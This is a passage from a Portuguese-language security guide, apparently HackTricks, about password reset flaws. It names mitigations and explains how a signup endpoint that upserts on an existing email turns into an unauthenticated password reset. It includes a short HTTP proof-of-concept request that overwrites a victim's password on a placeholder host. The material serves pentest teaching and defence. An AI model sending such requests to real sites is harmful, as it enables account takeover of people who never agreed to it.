- Nunca exponha caminhos skipOldPwdCheck para usuários unauthenticated; exija autenticação para alterações regulares de senha e verifique a senha antiga.
|
||||
- Invalide todas as sessions ativas e reset tokens após uma alteração de senha.
|
||||
|
||||
## Registration-as-Password-Reset (Upsert on Existing Email)
|
||||
|
||||
Algumas aplicações implementam o signup handler como um upsert. Se o email já existe, o handler atualiza silenciosamente o registro do usuário em vez de rejeitar a requisição. Quando o registration endpoint aceita um corpo JSON mínimo com um email existente e uma nova senha, ele efetivamente se torna um pre-auth password reset sem qualquer verificação de propriedade, permitindo um full account takeover.
|
||||
|
||||
Pre-auth ATO PoC (sobrescrevendo a password de um usuário existente):
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user